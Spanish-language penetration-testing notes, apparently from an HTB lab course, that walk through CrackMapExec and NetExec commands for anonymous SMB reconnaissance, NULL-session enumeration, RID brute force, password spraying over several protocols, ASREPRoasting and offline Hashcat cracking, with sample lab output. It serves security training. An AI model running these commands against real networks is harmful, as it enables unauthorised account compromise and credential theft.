Gathering Information Anonymously - Basic SMB Reconnaissance
¿Qué se puede obtener sin autenticación?
El protocolo SMB permite obtener información valiosa sin credenciales:
- IP address — Dirección IP del host
- Target local name — Nombre NetBIOS de la máquina
- Windows version — Versión del sistema operativo
- Architecture — x86 o x64
- Fully qualified domain name (FQDN) — Nombre completo del dominio
- SMB signing enabled — Estatus de firma SMB (True/False)
- SMB version — Versión de protocolo SMB (1, 2, 3, etc.)
SMB Enumeration Básico
Comando simple para escanear una red
CrackMapExec:
crackmapexec smb 192.168.133.0/24NetExec:
netexec smb 192.168.133.0/24Output esperado:
SMB 192.168.133.1 445 DESKTOP-DKCQVG2 [*] Windows 10.0 Build 19041 x64 (name:DESKTOP-DKCQVG2) (domain:DESKTOP-DKCQVG2) (signing:False) (SMBv1:False)
SMB 192.168.133.158 445 WIN-TOE6NQTR989 [*] Windows Server 2016 Datacenter 14393 x64 (name:WIN-TOE6NQTR989) (domain:inlanefreight.htb) (signing:True) (SMBv1:True)
SMB 192.168.133.157 445 WIN7 [*] Windows 7 Ultimate 7601 Service Pack 1 x64 (name:WIN7) (domain:WIN7) (signing:False) (SMBv1:True)Interpretar el Output
Estructura de cada línea
[Protocolo] [IP] [Puerto] [Nombre_Máquina] [*] [OS] [Arquitectura] (name:X) (domain:Y) (signing:Z) (SMBv1:W)Ejemplo: 192.168.133.157 (WIN7)
SMB 192.168.133.157 445 WIN7 [*] Windows 7 Ultimate 7601 Service Pack 1 x64 (name:WIN7) (domain:WIN7) (signing:False) (SMBv1:True)Interpretación:
- IP: 192.168.133.157
- Puerto: 445 (SMB)
- Nombre: WIN7
- SO: Windows 7 Ultimate Service Pack 1
- Build: 7601
- Arquitectura: x64 (64-bit)
- name: WIN7
- domain: WIN7 (IMPORTANTE: igual al name = NO está en dominio)
- SMB signing: False (vulnerable a relaying)
- SMBv1: True (protocolo antiguo, potencialmente vulnerable)
Identificar máquinas en dominio vs independientes
Máquina en dominio
(name:WIN-TOE6NQTR989) (domain:inlanefreight.htb)- name ≠ domain — Está en el dominio
inlanefreight.htb - Es un objetivo potencial para movimiento lateral
Máquina independiente (workgroup)
(name:WIN7) (domain:WIN7)- name == domain — NO está en dominio
- Es independiente o en workgroup local
Identificar objetivos de valor
Windows Servers son objetivos prioritarios
- Contienen datos críticos: shares, contraseñas, backups de websites, bases de datos
- Generalmente tienen más privilegios que workstations
- Contienen configuraciones sensibles
Ejemplo: WIN-TOE6NQTR989 es Windows Server 2016 → objetivo de alto valor
Arquitectura importa
- x64 (64-bit) — Necesitas payloads de 64-bit
- x86 (32-bit) — Necesitas payloads de 32-bit
En el ejemplo, todos son x64, así que cualquier payload personalizado debe ser 64-bit.
SMB Signing - Detectar hosts vulnerables a relaying
¿Qué es SMB signing?
Mecanismo de seguridad que autentica mensajes SMB para prevenir ataques MITM y relaying.
- signing:True — Protegido contra relaying
- signing:False — Vulnerable a SMBRelay attacks
Extraer hosts con SMB signing deshabilitado
CrackMapExec:
crackmapexec smb 192.168.1.0/24 --gen-relay-list relaylistOutputFilename.txtNetExec:
netexec smb 192.168.1.0/24 --gen-relay-list relaylistOutputFilename.txtOutput:
SMB 192.168.1.101 445 DC2012A [*] Windows Server 2012 R2 Standard 9600 x64 (name:DC2012A) (domain:OCEAN) (signing:True) (SMBv1:True)
SMB 192.168.1.102 445 DC2012B [*] Windows Server 2012 R2 Standard 9600 x64 (name:DC2012B) (domain:EARTH) (signing:True) (SMBv1:True)
SMB 192.168.1.111 445 SERVER1 [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:SERVER1) (domain:PACIFIC) (signing:False) (SMBv1:True)
SMB 192.168.1.117 445 WIN10DESK1 [*] WIN10DESK1 x64 (name:WIN10DESK1) (domain:OCEAN) (signing:False) (SMBv1:True)Archivo generado (relaylistOutputFilename.txt):
192.168.1.111
192.168.1.117Estos son los hosts donde SMB signing está deshabilitado, potencialmente vulnerables a SMBRelay.
Datos relevantes del ejemplo
Máquina 1: 192.168.133.1 (DESKTOP-DKCQVG2)
- SO: Windows 10.0 Build 19041
- Dominio: DESKTOP-DKCQVG2 (workstation local)
- SMB signing: False ✓ Vulnerable
- SMBv1: False ✓ Moderno
Máquina 2: 192.168.133.158 (WIN-TOE6NQTR989)
- SO: Windows Server 2016 Datacenter
- Dominio: inlanefreight.htb ✓ En dominio
- SMB signing: True ✗ Protegido
- SMBv1: True — Antiguo
OBJETIVO: Este servidor es prioritario (dominio, datos sensibles)
Máquina 3: 192.168.133.157 (WIN7)
- SO: Windows 7 Ultimate SP1
- Dominio: WIN7 (workstation local)
- SMB signing: False ✓ Vulnerable
- SMBv1: True — Antiguo
OBJETIVO: Vulnerable a relaying y tiene protocolo antiguo
Formatos de targets soportados
CrackMapExec:
# IP único
crackmapexec smb 192.168.133.157
# Rango CIDR
crackmapexec smb 192.168.133.0/24
# Múltiples IPs
crackmapexec smb 192.168.133.1 192.168.133.158 192.168.133.157
# Hostname/FQDN
crackmapexec smb inlanefreight.htb
# Archivo con IPs
crackmapexec smb targets.txtNetExec:
# IP único
netexec smb 192.168.133.157
# Rango CIDR
netexec smb 192.168.133.0/24
# Múltiples IPs
netexec smb 192.168.133.1 192.168.133.158 192.168.133.157
# Hostname/FQDN
netexec smb inlanefreight.htb
# Archivo con IPs
netexec smb targets.txtOpciones útiles para SMB reconnaissance
Threads (paralelismo)
CrackMapExec:
crackmapexec smb 192.168.133.0/24 -t 100NetExec:
netexec smb 192.168.133.0/24 -t 100Verbose (salida detallada)
CrackMapExec:
crackmapexec smb 192.168.133.0/24 --verboseNetExec:
netexec smb 192.168.133.0/24 --verboseTimeout
CrackMapExec:
crackmapexec smb 192.168.133.0/24 --timeout 60NetExec:
netexec smb 192.168.133.0/24 --timeout 60Jitter (delay aleatorio)
CrackMapExec:
crackmapexec smb 192.168.133.0/24 --jitter 5NetExec:
netexec smb 192.168.133.0/24 --jitter 5Casos de uso prácticos
Scenario 1: Quick network scan
CrackMapExec:
crackmapexec smb 10.0.0.0/24NetExec:
netexec smb 10.0.0.0/24Identifica todos los hosts Windows activos y sus características básicas sin credenciales.
Scenario 2: Find relaying targets
CrackMapExec:
crackmapexec smb 10.0.0.0/24 --gen-relay-list relaylist.txtNetExec:
netexec smb 10.0.0.0/24 --gen-relay-list relaylist.txtGenera lista de hosts vulnerables a SMBRelay para usar con Responder + ntlmrelayx.py.
Scenario 3: Identify domain-joined machines
Del output, filtrar máquinas donde name ≠ domain:
(name:SERVER1) (domain:COMPANY.COM) ← En dominio
(name:LAPTOP1) (domain:LAPTOP1) ← Workstation localScenario 4: Target older systems
Buscar máquinas con SMBv1:True para exploits legacy.
Contexto de seguridad
Por qué esta información es valiosa
- Mapeo de red — Saber qué máquinas existen sin alertar firewalls
- Identificación de dominios — Determinar estructura AD
- Priorización de targets — Servidores > workstations
- Detección de vulnerabilidades — SMBv1, signing disabled
- Planificación de ataques — SMBRelay, exploit targeting
SMB como fuente de información
SMB es uno de los protocolos más informativos en redes Windows porque revela:
- Identidad del sistema
- Versión del SO (objetivo para exploits específicos)
- Membresía de dominio (importante para movimiento lateral)
- Configuración de seguridad (signing, SMB version)
Todo esto sin necesidad de credenciales.
Próximos pasos
Una vez enumeres la red con SMB reconnaissance básico:
- Explotar NULL/Anonymous sessions — Acceso sin credenciales
- Password spraying — Probar credenciales comunes
- ASREPRoasting — Capturar hashes de usuarios vulnerables
- Movimiento lateral — Una vez tengas credenciales válidas
Conclusión
SMB reconnaissance es el primer paso de cualquier assessment interno. CME automatiza en segundos lo que tomaría minutos manualmente y proporciona información estructurada y fácil de parsear.
Key takeaway: Siempre comienza con un escaneo SMB básico. Es rápido, no requiere credenciales y te da toda la información que necesitas para planificar los siguientes pasos.
Exploiting NULL/Anonymous Sessions
Técnica de reconocimiento que permite obtener información de un dominio Windows sin credenciales válidas, conectándose anónimamente al servicio IPC$.
Links: CrackMapExec Wiki | NetExec Docs | NULL Session - Wikipedia
¿Qué es una NULL Session?
Conexión anónima al servicio IPC$ de Windows. Si el DC está mal configurado, permite enumerar sin autenticarse. Con esto se puede obtener usuarios del dominio (--users), grupos (--groups), política de contraseñas (--pass-pol) y carpetas compartidas (--shares).
Política de Contraseñas
Antes de un Password Spraying necesitas saber el Account Lockout Threshold para no bloquear cuentas.
# CrackMapExec
crackmapexec smb <IP> -u '' -p '' --pass-pol
# NetExec
netexec smb <IP> -u '' -p '' --pass-polExportar y formatear
# Exportar
crackmapexec smb <IP> -u '' -p '' --pass-pol --export $(pwd)/passpol.txt
netexec smb <IP> -u '' -p '' --pass-pol --export $(pwd)/passpol.txt
# Formatear JSON
sed -i "s/'/\"/g" passpol.txt
cat passpol.txt | jqParámetros clave del output
Minimum password length— Longitud mínima requeridaPassword history length— Cuántas contraseñas anteriores no se pueden reutilizarMaximum password age— Cada cuánto expira la contraseñaAccount Lockout Threshold— Intentos fallidos antes de bloquear la cuentaLocked Account Duration— Cuánto tiempo dura el bloqueoDomain Password Complex— Si está en1, requiere complejidad (mayús, minús, número, especial)
Nota: CME/NXC solo verifica la Default Password Policy, no Password Setting Objects (PSO).
Enumeración de Usuarios
Puede revelar usuarios con contraseñas en la descripción (mala práctica común en entornos reales).
# CrackMapExec
crackmapexec smb <IP> -u '' -p '' --users
# NetExec
netexec smb <IP> -u '' -p '' --usersExportar y extraer lista limpia
# Exportar
crackmapexec smb <IP> -u '' -p '' --users --export $(pwd)/users.txt
netexec smb <IP> -u '' -p '' --users --export $(pwd)/users.txt
# Formatear y extraer solo nombres de usuario
sed -i "s/'/\"/g" users.txt
jq -r '.[]' users.txt > userslist.txt
cat userslist.txtRID Brute Force
Cuando --users está restringido por el servidor, se pueden enumerar objetos del dominio forzando RIDs (identificadores numéricos de cada objeto en AD). El output indica el tipo de objeto con SidTypeUser (usuario) o SidTypeGroup (grupo).
# CrackMapExec (default: hasta RID 4000)
crackmapexec smb <IP> -u '' -p '' --rid-brute
crackmapexec smb <IP> -u '' -p '' --rid-brute 5000
# NetExec
netexec smb <IP> -u '' -p '' --rid-brute
netexec smb <IP> -u '' -p '' --rid-brute 5000Enumeración de Shares
Dependiendo de la configuración del servidor, se puede listar shares sin credenciales, con guest, o incluso con un usuario inexistente.
# Sin credenciales (puede fallar con ACCESS_DENIED)
crackmapexec smb <IP> -u '' -p '' --shares
netexec smb <IP> -u '' -p '' --shares
# Con guest (suele funcionar mejor)
crackmapexec smb <IP> -u 'guest' -p '' --shares
netexec smb <IP> -u 'guest' -p '' --shares
# Con nombre aleatorio/inexistente
crackmapexec smb <IP> -u 'randomuser' -p '' --shares
netexec smb <IP> -u 'randomuser' -p '' --sharesPermisos en el output
READ— Solo lectura del shareWRITE— Escritura en el shareREAD,WRITE— Acceso total- (vacío) — Sin acceso o no determinado
Próximos pasos con la info obtenida
- Lista de usuarios + política sin lockout → Password Spraying
- Usuarios sin pre-auth Kerberos → ASREPRoasting
- Shares con READ → Búsqueda de credenciales en archivos
- Contraseñas en descripciones de usuarios → Acceso directo con esas credenciales
Password Spraying
Técnica que consiste en probar una o pocas contraseñas contra muchos usuarios para evitar bloqueos de cuenta. Se usa cuando ya se tiene una lista de usuarios (por ejemplo, obtenida vía NULL Session).
Links: CrackMapExec Wiki | NetExec Docs | Password Attacks - HTB Module | WinRM Docs | MSSQL Auth
Creación de Listas
Antes de atacar se construye una wordlist basada en la política de contraseñas obtenida previamente. Ejemplos comunes: nombre del dominio + número + especial, mes/año actual, nombre de la empresa con mutaciones.
# Ejemplo passwords.txt
Inlanefreight01!
Inlanefreight02!
Inlanefreight03!# Ejemplo users.txt
noemi
david
carlos
grace
peterSMB - Password Spraying
Archivo de usuarios + una sola contraseña
# CrackMapExec
crackmapexec smb <IP> -u users.txt -p 'Inlanefreight01!'
# NetExec
netexec smb <IP> -u users.txt -p 'Inlanefreight01!'Lista de usuarios inline + una sola contraseña
# CrackMapExec
crackmapexec smb <IP> -u noemi david grace carlos -p 'Inlanefreight01!'
# NetExec
netexec smb <IP> -u noemi david grace carlos -p 'Inlanefreight01!'Lista de usuarios + lista de contraseñas
# CrackMapExec
crackmapexec smb <IP> -u users.txt -p passwords.txt
# NetExec
netexec smb <IP> -u users.txt -p passwords.txtContinuar tras encontrar credenciales válidas
Por defecto CME/NXC para al encontrar la primera credencial válida. Con --continue-on-success sigue probando todos los usuarios y puede encontrar cuentas privilegiadas.
# CrackMapExec
crackmapexec smb <IP> -u users.txt -p passwords.txt --continue-on-success
# NetExec
netexec smb <IP> -u users.txt -p passwords.txt --continue-on-successUn usuario por contraseña (sin bruteforce cruzado)
Útil cuando ya se conoce qué contraseña corresponde a qué usuario. Empareja la línea 1 de usuarios con la línea 1 de contraseñas, la 2 con la 2, etc.
# CrackMapExec
crackmapexec smb <IP> -u userfound.txt -p passfound.txt --no-bruteforce --continue-on-success
# NetExec
netexec smb <IP> -u userfound.txt -p passfound.txt --no-bruteforce --continue-on-successCuentas Locales
Los Domain Controllers no tienen base de datos de cuentas locales, por lo que --local-auth aplica solo contra máquinas que no son DC.
# CrackMapExec
crackmapexec smb <IP> -u Administrator -p 'Password@123' --local-auth
# NetExec
netexec smb <IP> -u Administrator -p 'Password@123' --local-authAccount Lockout - Bad Password Count
Antes de hacer spraying revisar el Account Lockout Threshold de la política. Si existe un límite, mantener los intentos por debajo de ese número y respetar la ventana de reset del contador.
Para ver cuántos intentos fallidos lleva cada cuenta (requiere credencial válida):
# CrackMapExec
crackmapexec smb <IP> --users -u <user> -p '<password>'
# NetExec
netexec smb <IP> --users -u <user> -p '<password>'El output muestra badpwdcount por cada usuario. Priorizar usuarios con contador bajo para no arriesgar bloqueos.
Nota: El Bad Password Count se resetea si el usuario se autentica correctamente.
Estado de las Cuentas en el Output
- Verde
[+]— Usuario y contraseña válidos - Rojo
[-]— Usuario o contraseña inválidos - Magenta — Usuario y contraseña válidos pero autenticación no exitosa
Razones de autenticación fallida con credenciales válidas (Magenta)
STATUS_ACCOUNT_DISABLED— Cuenta deshabilitadaSTATUS_ACCOUNT_EXPIRED— Cuenta expiradaSTATUS_ACCOUNT_RESTRICTION— Restricción de cuentaSTATUS_INVALID_LOGON_HOURS— Horario de inicio de sesión no permitidoSTATUS_INVALID_WORKSTATION— Estación de trabajo no permitidaSTATUS_LOGON_TYPE_NOT_GRANTED— Tipo de logon no permitidoSTATUS_PASSWORD_EXPIRED— Contraseña expiradaSTATUS_PASSWORD_MUST_CHANGE— La contraseña debe cambiarseSTATUS_ACCESS_DENIED— Acceso denegado
Cambiar contraseña con STATUS_PASSWORD_MUST_CHANGE
smbpasswd -r <IP> -U <username>
# Pedirá contraseña actual y la nuevaLuego verificar con la nueva contraseña:
# CrackMapExec
crackmapexec smb <IP> -u <user> -p '<NewPassword>'
# NetExec
netexec smb <IP> -u <user> -p '<NewPassword>'Importante en pentests: Documentar siempre cualquier cambio de contraseña y consultar con el cliente antes de modificar cuentas activas.
WinRM - Password Spraying
WinRM corre en los puertos TCP/5985 (HTTP) y TCP/5986 (HTTPS). Solo indica credencial válida si la cuenta tiene acceso a WinRM (miembro de Remote Management Users o admin local). Un (Pwn3d!) en el output indica que se pueden ejecutar comandos.
# CrackMapExec
crackmapexec winrm <IP> -u userfound.txt -p passfound.txt --no-bruteforce --continue-on-success
# NetExec
netexec winrm <IP> -u userfound.txt -p passfound.txt --no-bruteforce --continue-on-successLDAP - Password Spraying
Con LDAP es obligatorio usar el FQDN en lugar de la IP, de lo contrario dará error de conexión.
# Agregar FQDN al /etc/hosts
echo '10.129.203.121 inlanefreight.htb dc01.inlanefreight.htb' >> /etc/hosts# CrackMapExec
crackmapexec ldap dc01.inlanefreight.htb -u users.txt -p 'Inlanefreight01!'
# NetExec
netexec ldap dc01.inlanefreight.htb -u users.txt -p 'Inlanefreight01!'MSSQL - Password Spraying
MSSQL soporta tres tipos de autenticación, por lo que hay tres formas de atacarlo.
Cuenta de Active Directory
Requiere especificar el dominio con -d.
# CrackMapExec
crackmapexec mssql <IP> -u users.txt -p 'Inlanefreight01!' -d inlanefreight.htb
# NetExec
netexec mssql <IP> -u users.txt -p 'Inlanefreight01!' -d inlanefreight.htbCuenta Local de Windows
Se usa un punto . como dominio o el nombre de la máquina. No aplica contra DCs.
# CrackMapExec
crackmapexec mssql <IP> -u users.txt -p 'Inlanefreight01!' -d .
# NetExec
netexec mssql <IP> -u users.txt -p 'Inlanefreight01!' -d .Cuenta SQL (local de MSSQL)
Se usa --local-auth. Es común que admins creen cuentas SQL con el mismo nombre y contraseña que sus cuentas de AD (password reuse).
# CrackMapExec
crackmapexec mssql <IP> -u users.txt -p 'Inlanefreight01!' --local-auth
# NetExec
netexec mssql <IP> -u users.txt -p 'Inlanefreight01!' --local-authOtros Protocolos
El spraying no se limita a SMB. Un usuario puede no ser admin pero sí tener acceso a RDP, SSH, FTP u otros. Cambiar el protocolo en el comando es suficiente:
# RDP
crackmapexec rdp <IP> -u users.txt -p passwords.txt
netexec rdp <IP> -u users.txt -p passwords.txt
# SSH
crackmapexec ssh <IP> -u users.txt -p passwords.txt
netexec ssh <IP> -u users.txt -p passwords.txt
# FTP
crackmapexec ftp <IP> -u users.txt -p passwords.txt
netexec ftp <IP> -u users.txt -p passwords.txtImportante: El contador de intentos fallidos en AD es compartido entre protocolos. Si el límite es 5 y se hacen 3 intentos por RDP y 2 por WinRM, la cuenta queda bloqueada.
Finding ASREPRoastable Accounts
Ataque que busca cuentas de dominio que tienen deshabilitada la pre-autenticación de Kerberos. Cualquiera puede solicitar un AS_REP en nombre de esas cuentas y recibir datos cifrados con la contraseña del usuario, que luego se pueden crackear offline.
Links: CrackMapExec Wiki | NetExec Docs | Hashcat
¿Cómo funciona?
Cuando una cuenta no requiere pre-autenticación Kerberos, el KDC responde al AS_REQ con un AS_REP que contiene un bloque cifrado con la clave derivada de la contraseña del usuario. Este hash puede crackearse offline sin interactuar más con el dominio.
Sin credenciales (usando lista de usuarios)
Se usa LDAP con la lista de usuarios obtenida previamente (por ejemplo, vía NULL Session). El ataque prueba cada usuario para ver si devuelve un hash.
Requiere usar el FQDN del DC, no la IP.
# CrackMapExec
crackmapexec ldap dc01.inlanefreight.htb -u users.txt -p '' --asreproast asreproast.out
# NetExec
netexec ldap dc01.inlanefreight.htb -u users.txt -p '' --asreproast asreproast.outCon credenciales válidas
Con una cuenta del dominio se pueden encontrar todas las cuentas vulnerables a ASREPRoast de una sola vez, sin necesidad de iterar usuario por usuario.
# CrackMapExec
crackmapexec ldap dc01.inlanefreight.htb -u grace -p 'Inlanefreight01!' --asreproast asreproast.out
# NetExec
netexec ldap dc01.inlanefreight.htb -u grace -p 'Inlanefreight01!' --asreproast asreproast.outEl output muestra el total de registros encontrados y los hashes en formato $krb5asrep$23$.
Crackear los hashes obtenidos
Los hashes se guardan en el archivo especificado (en este caso asreproast.out) y se crackean offline con Hashcat usando el módulo 18200.
hashcat -m 18200 asreproast.out /usr/share/wordlists/rockyou.txtOpciones adicionales de Hashcat útiles
# Mostrar hashes ya crackeados
hashcat -m 18200 asreproast.out --show
# Con reglas para mayor cobertura
hashcat -m 18200 asreproast.out /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.ruleFlujo completo del ataque
- Obtener lista de usuarios (NULL Session, OSINT, Kerbrute, etc.)
- Usar
--asreproastvía LDAP contra el FQDN del DC - Los hashes vulnerables se guardan en el archivo de salida
- Crackear offline con Hashcat módulo 18200
- Usar las credenciales obtenidas para enumerar más el dominio